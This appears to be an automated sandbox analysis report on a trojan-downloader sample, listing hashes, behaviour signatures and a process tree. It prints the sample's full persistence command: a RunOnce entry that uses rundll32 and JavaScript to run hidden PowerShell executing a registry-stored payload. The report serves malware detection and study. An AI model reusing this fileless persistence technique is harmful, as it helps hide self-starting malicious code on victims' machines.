Analysis
- max time kernel
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
14/10/2026, 08:53
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
jaffacakes118_Trojan-Downloader.MSIL.Agent.kys.exe
Resource
win10v2004-20260911-en
0 signatures
150 seconds
Behavioral task
behavioral2
Sample
jaffacakes118_Trojan-Downloader.MSIL.Agent.kys.exe
Resource
win11ltsc2024-20260911-en
7 signatures
150 seconds
General
- Target jaffacakes118_Trojan-Downloader.MSIL.Agent.kys.exe
- Size 8KB
- Sample261014-ktmd3afd28
- SHA256 baebc938c010fc8cfc2b579292c0bb9c8cee0172de8bd737654a92ccb4eda159
- MD5 03e6e9668f7bce966e7fced120f50d79
- SHA1 5da7d525eae223bddaed663e02efef98830338cd
- SHA512 a07e51ea0f68d05a147cac2366428349032f2f25ed66c492543e0f9c77a2bf8f399af3f196b254f6d8086f1b21af87e9469dceaa20266e1126bf72a4d1d5c25d
- SSDEEP 96:cqJfKWkVMxEns3Usx42jyw/H7ktfq0raT/tFR+gXYXGrLVJzNt:Vi/uuGT/bktfq2aT/Z+gXY2r5r
- TLSH T10402D900F7E88227E9BA4774ADF7E6136135F7136812DA6F4CD1530E59237818993A3E
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\LAN Cache = "rundll32.exe javascript:\"\\..\\mshtml, RunHTMLApplication \";(eval(\"new ActiveXObject('WScript.Shell').Run('powershell.exe -Command iex((Get-ItemProperty -Path hkcu:LANMedia2).MPEG4Base)',0)\"))(window.close())" jaffacakes118_Trojan-Downloader.MSIL.Agent.kys.exe -
pid Process 4720 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname rundll32.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4720 powershell.exe 4720 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4720 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 6116 wrote to memory of 4720 6116 rundll32.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Downloader.MSIL.Agent.kys.exe"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Downloader.MSIL.Agent.kys.exe"1⤵
- Adds Run key to start application
PID:480
-
C:\Windows\system32\rundll32.exerundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";(eval("new ActiveXObject('WScript.Shell').Run('powershell.exe -Command iex((Get-ItemProperty -Path hkcu:LANMedia2).MPEG4Base)',0)"))(window.close())1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:6116 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command iex((Get-ItemProperty -Path hkcu:LANMedia2).MPEG4Base)2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4720
-